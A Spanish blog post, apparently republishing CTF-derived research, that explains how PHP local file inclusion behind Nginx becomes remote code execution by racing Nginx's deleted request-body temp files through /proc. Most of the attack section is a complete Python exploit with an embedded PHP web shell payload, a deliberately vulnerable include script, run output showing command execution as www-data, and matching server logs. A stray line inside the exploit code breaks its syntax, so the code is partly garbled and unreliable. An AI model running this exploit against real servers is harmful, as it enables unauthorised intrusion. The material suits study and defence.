¿LFI en PHP+Nginx? ¡Pues ya tienes RCE!

La mayoría de las técnicas actuales de explotación de LFI se basan en que PHP puede crear algún tipo de archivos temporales o de sesión. Por ejemplo, hace un par de añitos en este mismo blog hablábamos de una condición de carrera en el que mediante multihilo y en sólo unos milisegundos se podían aprovechar ficheros en /tmp antes de ser borrados. 

No obstante, en el eterno juego del "gato y el ratón" esto ya había sido parcheado: 

FPM/PHP config:

...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
Instalación / hardening:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Sin embargo hoy traemos un nuevo método para explotar LFI incluso con esas protecciones que se ha descubierto mientras se desarrollaban distintos retos para hxp CTF 2021.

Además nos lo encontramos cuando PHP se ejecuta en combinación con Nginx bajo una configuración estándar normal. Nginx ofrece una función de buffering del body del cliente que se pasa por alto fácilmente y que escribirá archivos temporales si el body (no limitado a peticiones posts) es mayor que un cierto umbral. 

Esta característica permite que los LFI se exploten sin ninguna otra forma de crear archivos, si Nginx se ejecuta como el mismo usuario que PHP (algo que comúnmente se hace com www-data). 

El código Nginx relevante:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}  
Como se puede observar, el archivo temporal se desvincula inmediatamente después de que Nginx lo abre. Afortunadamente, procfs se puede usar para obtener una referencia al archivo eliminado a través de una carrera:
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Nota: No se puede incluir directamente /proc/34/fd/15 en este ejemplo, ya que la función de inclusión de PHP resolvería la ruta a /var/lib/nginx/body/0000001368 (eliminado) que no existe en el sistema de archivos. Afortunadamente, esta restricción menor puede evitarse mediante alguna redirección como: /proc/self/fd/34/../../../34/fd/15 que finalmente ejecutará el contenido del archivo eliminado /var/lib/nginx/body/0000001368 

Exploit 

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes 
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'c': f'id'
aaaa
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

Docker de ejemplo: https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz 

index.php

<?php include_once($_GET['file']);

Salida

$ ./pwn.py 127.0.0.1 1337
[*] cpus: 12; pid_max: 4194304
[*] nginx worker found: 33
[*] nginx worker found: 34
...
...
[*] nginx worker found: 42
[*] nginx worker found: 43
[*] nginx worker found: 44
[+] starting uploader
[+] starting uploader
...
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[+] brute loop restarted: 35
...
[+] brute loop restarted: 35
[+] brute loop restarted: 43
[+] brute loop restarted: 34
[+] brute loop restarted: 41
[!] /proc/self/fd/33/../../../33/fd/29: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Logs servidor
2021/12/26 23:01:44 [error] 33#33: *3491 FastCGI sent in stderr: "PHP message: PHP Warning:  include_once(/proc/self/fd/43/../../../43/fd/31): failed to open stream: No such file or directory in /var/www/html/index.php on line 1PHP message: PHP Warning:  include_once(): Failed opening '/proc/self/fd/43/../../../43/fd/31' for inclusion (include_path='.:/usr/share/php') in /var/www/html/index.php on line 1" while reading response header from upstream, client: 172.17.0.1, server: _, request: "GET /?file=%2Fproc%2Fself%2Ffd%2F43%2F..%2F..%2F..%2F43%2Ffd%2F31&c=id HTTP/1.1", upstream: "fastcgi://unix:/run/php/php7.4-fpm.sock:", host: "127.0.0.1:1337"
172.17.0.1 - - [26/Dec/2021:23:01:44 +0000] "GET /?file=%2Fproc%2Fself%2Ffd%2F43%2F..%2F..%2F..%2F43%2Ffd%2F31&c=id HTTP/1.1" 200 31 "-" "python-requests/2.22.0"

Payload: "GET /?file=/proc/self/fd/43/../../../43/fd/31&c=id"

Fuente: https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

Comentarios